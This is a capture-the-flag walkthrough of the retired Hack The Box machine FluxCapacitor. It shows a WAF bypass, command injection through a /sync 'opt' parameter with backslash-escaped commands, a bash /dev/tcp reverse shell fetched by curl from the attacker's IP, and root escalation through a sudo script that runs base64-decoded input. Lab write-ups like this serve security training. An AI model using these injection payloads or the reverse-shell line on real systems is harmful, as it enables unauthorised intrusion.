This is the write-up for the box FluxCapacitor that got retired at the 12th May 2018. My IP address was 10.10.14.13 while I did this.
Let's put this in our hosts file:
10.10.10.69 fluxcapacitor.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/fluxcapacitor.nmap 10.10.10.69
PORT STATE SERVICE VERSION
80/tcp open http SuperWAF
On the web page we get the following text:
OK: node1 alive FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb
Roads? Where we're going, we don't need roads.
In the HTML source is a comment about a /sync directory:
<!--
Please, add timestamp with something like:
<script> $.ajax({ type: "GET", url: '/sync' }); </script>
-->
This directory responds with the HTTP code 403 Forbidden and displays openresty/1.13.6.1 as the server. This software is an open-source web platform that integrates Nginx with a Just-In-Time-Compiler for the Lua programming language.
Lets search for hidden directories with Gobuster:
gobuster -u http://10.10.10.69/ dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
It finds the following directories:
- /sync
- /synctoy
- /synching
- /sync_scan
- /syncbackse
- /synch
- /sync4j
- /synchpst
- /syncapture
- /syncback
- /syncml
The HTTP code responds back with 200 OK but when browsing there with a browser the pages respond with the HTTP code 403 Forbidden. One difference between Gobuster and the browser is the User-Agent, so lets send this to Burpsuite and change that header.
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Test
(...)
This works and it displays the current server date. As the comment in the HTML code said we allegedly can add a timestamp on the /sync directory. To do this we will use fuzzing with Wfuzz.
We need to fuzz for a parameter that can display another date. When getting a valid parameter to change the displayed date on the server we can go further and may execute commands.
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ=yesterday
Unfortunately every parameter responds with 200 OK and it shows always 19 characters. Lets filter out everything that has 19 characters:
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ=yesterday --hh=19
It shows one result that has 175 characters and the 403 Forbidden response:
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000753: 403 7 L 10 W 175 Ch "opt"
The parameter /opt does something different than any other parameter when requesting for yesterday. Now lets fuzz for the value of this parameter to see if using special characters are fine with it:
wfuzz -c -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://10.10.10.69/sync?opt=FUZZ
Results:
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000001: 200 2 L 1 W 19 Ch "~"
000000003: 200 2 L 1 W 19 Ch "@"
000000002: 200 2 L 1 W 19 Ch "!"
000000004: 200 2 L 1 W 19 Ch "#"
000000005: 403 7 L 10 W 175 Ch "$"
000000009: 403 7 L 10 W 175 Ch "\*"
000000006: 200 2 L 1 W 19 Ch "%"
000000008: 200 2 L 1 W 19 Ch "&"
000000010: 403 7 L 10 W 175 Ch "("
000000007: 200 2 L 1 W 19 Ch "^"
000000011: 403 7 L 10 W 175 Ch ")"
000000012: 200 2 L 1 W 19 Ch "\_"
000000013: 200 2 L 1 W 19 Ch "\_"
000000014: 200 2 L 1 W 19 Ch "+"
000000015: 200 2 L 1 W 19 Ch "="
000000017: 200 2 L 1 W 19 Ch "}"
000000020: 403 7 L 10 W 175 Ch "|"
000000016: 200 2 L 1 W 19 Ch "{"
000000018: 200 2 L 1 W 19 Ch "]"
000000019: 200 2 L 1 W 19 Ch "\["
000000021: 200 2 L 1 W 19 Ch "\"
000000022: 403 7 L 10 W 175 Ch "\`"
000000023: 200 2 L 1 W 19 Ch ","
000000024: 200 2 L 1 W 19 Ch "."
000000026: 200 2 L 1 W 19 Ch "?"
000000027: 403 7 L 10 W 175 Ch ";"
000000025: 200 2 L 1 W 19 Ch "/"
000000028: 200 2 L 1 W 19 Ch ":"
000000029: 200 1 L 0 W 1 Ch "'"
000000030: 200 2 L 1 W 19 Ch """
000000031: 403 7 L 10 W 175 Ch "<"
000000032: 403 7 L 10 W 175 Ch ">"
The special characters that result in a 403 Forbidden are:
dollar sign, asterisk, normal brackets, pipe symbol, backtick, semicolon, greater/smaller than symbol
An odd result is that the single quote symbol resulted in a different character size than the other symbols.
By starting the command with this symbol and try to execute commands after, it shows the output of the command. It is important to have a space between the first single quote and the command or else it does not work:
GET /sync?opt=' whoami' HTTP/1.1
This shows the user nobody and thus command execution works.
Because of many blacklisted special characters, starting a reverse shell won't be possible so instead we can upload a file that consists the code for a reverse shell and execute it. Checking the directory /tmp:
GET /sync?opt=' l\s -l\a /tmp'
Some words seem to be blacklisted also, but this can be bypassed by escaping the characters with backslashes. Everyone can write to the directory /tmp so we can upload a file (revshell.sh) with the reverse shell code:
bash -i >& /dev/tcp/10.10.14.13/9001 0>&1
Download the script:
GET /sync?opt=' c\u\r\l 10.10.14.13/revshell.sh -o /tmp/abc'
This does not download it because of the slash in "/revshell.sh" but when renaming this file to index.html in a directory where is nothing besides this, it gets treated as an index file and can be left out of the command:
GET /sync?opt=' c\u\r\l 10.10.14.13 -o /tmp/abc'
Now we can make sure it got downloaded correctly by viewing it:
GET /sync?opt=' c\a\t /tmp/abc'
Execute the script:
GET /sync?opt=' b\a\s\h /tmp/abc'
After sending this request, the listener on my IP and port 9001 starts a reverse shell as the user nobody.
Lets examine the sudo privileges of nobody:
sudo -l
# Output
User nobody may run the following commands on fluxcapacitor:
(ALL) ALL
(root) NOPASSWD: /home/themiddle/.monit
The file /home/themiddle/.monit is owned by root and nobody can execute it as root. This file is a bash script with the following content:
#!/bin/bash
if [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi
It has to be executed with two parameters. The first one is cmd and the second parameter is a Base64-decoded command. Lets Base64-decode "bash":
echo -n bash | base64
# Output
YmFzaA==
Now executing the script with sudo
and the two parameters:
sudo /home/themiddle/.monit cmd YmFzaA==
After executing this, it start a shell as root!